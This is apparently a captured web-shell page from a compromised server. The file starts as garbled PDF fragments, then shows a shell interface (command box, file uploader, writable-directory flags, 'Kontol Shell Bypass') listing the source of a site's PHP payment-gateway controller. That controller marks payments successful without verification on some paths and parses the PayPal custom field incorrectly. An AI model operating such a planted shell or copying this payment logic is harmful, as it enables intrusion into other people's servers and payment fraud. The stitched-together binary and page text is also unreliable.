%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/chalkbank.com/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/chalkbank.com/application/controllers/Payment_gateway_2.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Payment_gateway_2 extends CI_Controller {

	 function __construct()
	 {
	   parent::__construct();
	   $this->load->database();
	   $this->load->model("user_model");
	   $this->load->model("payment_model");
	   $this->lang->load('basic', $this->config->item('language'));

	 }

	public function subscribe($gid='1',$uid='0')
	{
		
			
			
		$data['uid']=$uid;
		$data['title']=$this->lang->line('buy_subscription');
		// fetching payment_history
		$data['user']=$this->user_model->get_user($uid);

		$this->load->view('header',$data);
		$this->load->view('select_gateway',$data);
		$this->load->view('footer',$data);
	}
	
	
	
	
	
		public function cancel()
	{
		
		$data['title']=$this->lang->line('payment_cancel');
		 
		$this->load->view('header',$data);
		$this->load->view('cancel',$data);
		$this->load->view('footer',$data);
	}
	
	
	
	 public function success_message(){
		$data['title']=$this->lang->line('payment_completed');
	   $this->load->view('header',$data);
	   $this->load->view('payment_completed',$data);
		$this->load->view('footer',$data);
	}
 
 
	function success($pg='')
	 {
	 if($pg=="payu"){
		 if($_POST['status']=="success" && $_POST['key']==$this->config->item('payu_merchant_key')){
		 
		 $ud=explode('-',$_POST['udf1']);
		 $uid=$ud[0];
		 $gid=$ud[1];
		 $amount=$_POST['amount'];
		 $transaction_id=$_POST['transaction_id'];
		 


		$this->payment_model_2->activate_group($uid,$gid,$amount,$transaction_id,'Payumoney');
	redirect('payment_gateway_2/success_message');
		}
	 }else{
		 
			redirect('payment_gateway_2/success_message'); 
		 
	 }

	 }
	 
	 
	 
	 
	 
	 
	 
	 
	 
	 
	 
	 function paypal_ipn(){
		 $paypalmode = '';  
		  if($_POST)
		{
				if($paypalmode=='sandbox')
				{
					$paypalmode     =   '.sandbox';
				}
				$req = 'cmd=' . urlencode('_notify-validate');
				foreach ($_POST as $key => $value) {
					$value = urlencode(stripslashes($value));
					$req .= "&$key=$value";
				}
				$ch = curl_init();
				curl_setopt($ch, CURLOPT_URL, 'https://www'.$paypalmode.'.paypal.com/cgi-bin/webscr');
				curl_setopt($ch, CURLOPT_HEADER, 0);
				curl_setopt($ch, CURLOPT_POST, 1);
				curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
				curl_setopt($ch, CURLOPT_POSTFIELDS, $req);
				curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1);
				curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
				curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: www'.$paypalmode.'.sandbox.paypal.com'));
				$res = curl_exec($ch);
				curl_close($ch);

				if (strcmp ($res, "VERIFIED") == 0)
				{
					$transaction_id = $_POST['txn_id'];
					$payerid = $_POST['payer_id'];
					$firstname = $_POST['first_name'];
					$lastname = $_POST['last_name'];
					$payeremail = $_POST['payer_email'];
					$paymentdate = $_POST['payment_date'];
					$paymentstatus = $_POST['payment_status'];
					$amount   = $_POST['mc_gross'];
					$mdate= date('Y-m-d h:i:s',strtotime($paymentdate));
					$otherstuff = json_encode($_POST);
					$cd=$_POST['custom'];
					$uid=$cd[0];
					$gid=$cd[1];
					$fullname=$firstname.' '.$lastname;
		   $result = $this->payment_model_2->validate_transaction_id($transaction_id);
			
		if($result >= "1"){
		// it is duplicate id
		exit;
		}
				$this->payment_model_2->activate_group($uid,$gid,$amount,$transaction_id,'Paypal');

				}
		}



		 }

 
 
	
}

Kontol Shell Bypass